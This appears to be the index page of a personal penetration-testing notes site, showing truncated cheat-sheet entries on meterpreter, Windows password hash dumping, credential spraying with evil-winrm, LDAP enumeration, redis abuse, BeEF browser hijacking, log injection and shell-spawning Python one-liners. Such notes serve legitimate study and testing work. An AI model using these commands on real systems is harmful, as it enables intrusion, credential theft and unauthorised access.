akde/infosec

Information security is ultimately about managing risk

  • File archives

    GZ If the file can­not be extracted gzip: log.gz: unexpected end of file use zcat index.gz

  • Magento

    Vul­ner­a­bil­i­ty scan­ner: https://github.com/steverobbins/magescan

  • Sqlite

    Show tables .tables Show columns / schema from a table PRAGMA table_info(users)

  • Docker

    General commands Show avail­able Dock­er images docker images Show run­ning Dock­er instances docker ps Run an instance in fore­ground (debug logs are visible) docker run -p 8080:80/tcp --name bolt11 aerth/boltcms:latest Run an instance in the background docker run -p 8000 --name <name> -d -t <imagename> Open shell into an instance docker exec -it <container_name> /bin/bash…

  • meterpreter

    Upgrade a shell to a meter­preter shell sessions -u $session_id Cau­tion: Maybe the build­tu­ple is the wrong architecture. Show process­es ps Show how long the user is not on his/her com­put­er (try things which could pop up shells pre­fer­refly after the sys­tem is idle for some time.) idletime Migrate into anoth­er process to make the con­nec­tion…

  • Beef

    https://beefproject.com/ Injects code into a site which tracks all actions from a user and sends it back. The brows­er can also be controlled!

  • fingerprintjs

    Fingerprintjs2 col­lects a vast amount of brows­er configurations. Vic­tims could be brought to vis­it a site which con­tains this JS which sends the infor­ma­tion back to the attacker. See OSCP 414ff

  • Windows Registry

    The Win­dows reg­istry is a cen­tral data stor­age for the oper­a­tion sys­tem as well as for appli­ca­tions. It’s a key-val­ue stor­age in a tree structure. A hive is a set of keys and their val­ues. The root hives are: Short Long Con­tent Source file HKCR HKEY_CLASSES_ROOT Infor­ma­tion about file types and properties HKCC HKEY_CURRRENT_CONFIG Infor­ma­tion about…

  • Active Directory notes

    Check­list A domain of a DC con­sists out of the fol­low­ing elements: An object in AD may have a set of ACE Access Con­trol Entries which is called ACL Access Con­trol List. An objec­t’s ACE can be retrieved in PS with Get-ObjectAcl [-Identity| $object. The SCM Ser­vice Con­trol Man­ag­er con­tains a data­base of installed ser­vices…

  • File systems

    ext3/ext4 Design prin­ci­ples: Information about the file system Gen­er­al information fsstat /dev/sda1 Infor­ma­tion of an inode (2 = root directory): istat /dev/sda1 2 Get the par­ti­tions of an image mmls server.img mmls shows the start off­set of each par­ti­tion. Show details of the par­ti­tion which starts at 4096: fsstat -o 4096 server.img Show all files of a…

  • Windows password files

    Win­dows clients use SAM files. Win­dows DC uses ntds.dit to store all hash­es from the domain. SAM C:\windows\repair\sam C:\windows\System32\config\SAM C:\windows\System32\config\RegBack\SAM Alter­na­tives in meterpreter: run post/windows/gather/hashdump run post/windows/gather/smart_hashdump run hashdump hashdump (load module before: use priv) creds_all If hash­dump does­n’t work: Notes Format Username : UID : LM hash : NTLM hash : : : For hash­cat,…

  • journalctl

    It is pos­si­ble to write as a user arbi­trary text into the logs. Mes­sages can be faked which could alert persons/surveillance systems. https://turbochaos.blogspot.com/2014/08/journalctl-terminal-escape-injection.html?view=classic

  • LDAP Lightweight Directory Access Protocol

    Ports: ldap 389/tcp ldaps 636/tcp globalldap/globalcatldap 3268/tcp globalldaps/globalcatldapssl 3269/tcp Enumerate without credentials Nmap enu­mer­a­tion scans nmap -n -sV --script "ldap* and not brute" $target Ldapsearch scan ldapsearch -x -h $target -D '' -w '' -b "DC=BLA,DC=local" Con­nect to LDAPs/GlobalLDAPs: openssl s_client -connect $target:636 </dev/null openssl s_client -connect $target:3269 </dev/null Search in the directory: ldapsearch -x -b…

  • tmux

    Cre­ate a session tmux new -s <name>

  • PowerShell

    Pow­er­shell Cmdlets con­sist out of Verb-Method. To search for a method, type Get-Command New-U* To see all attrib­ut­es for a Cmdlet, type Get-LocalUser | Get-Member To see spe­cif­ic or non-default attrib­ut­es, type Get-LocalUser | Select-Object -Property Name,PasswordRequired Examples Directories and files Get all files in the cur­rent directory. Get-ChildItem Get all files in the cur­rent direc­to­ry and below.…

  • WinRM Windows Remote Management

    Win­dows Remote Man­age­ment (Win­RM / wsman) is a ser­vice which runs on port 5985 and 5986. Evil Winrm Github | Opens a shell for a user root@kali:~# evil-winrm -i $victim -u melanie -p 'Welcome123!' For many users: for cred in $(cat user_pass.txt); do username=$(echo $cred | cut -d ',' -f 1) password=$(echo $cred | cut -d ',' -f…

  • Kerberos

    Basics Authen­ti­ca­tion sequence for an user to log in on a domain (con­troller): Authen­ti­ca­tion sequence for an authen­ti­cat­ed user on a local system: Terminology Ker­beroast­ing means an offline crack­ing of the pass­word in the NTLM hash. Use­less if the ser­vice runs as ser­vice user. Then, the pass­word will be replaced by a 128 char­ac­ter long…

  • Redis

    Runs on port 6379 — needs a full nmap scan! If conec­tion is pos­si­ble via tel­net, use­ful com­mands are:  info CONFIG GET * all keys: keys * It is pos­si­ble to deter­mine which direc­to­ries exist:  config set dir /var/www/htdocs -ERR Changing directory: No such file or directory set dir /var/www +OK set dir /var/www/html +OK Upload SSH key via redis…

  • Python

    Con­vert a Python2 script into a Python3 script: 2to3 -w example.py Fix tab/space/identation problems: autopep8 -i linuxprivchecker.py If a library is installed, but can­not found from smb.SMBConnection import SMBConnection then try to search the file local­ly and include the path manually: import syssys.path.append("path/to/your/file") One­lin­er for exe­cut­ing bash in a file: echo 'import os;os.system("/bin/bash")' > /tmp/e.py Exe­cute something:…

  • MongoDB

    Con­nect from the com­mand line mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace' Show data­bas­es show dbs Switch to database use <db> Show all col­lec­tions (“tables”) show collections Show all entries from a collection db.<collection>.find() Add a document db.products.insert( { item: "card", qty: 15 } ) Injections Show all records of the cur­rent table, assum­ing there is a WHERE clause for one field.…

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';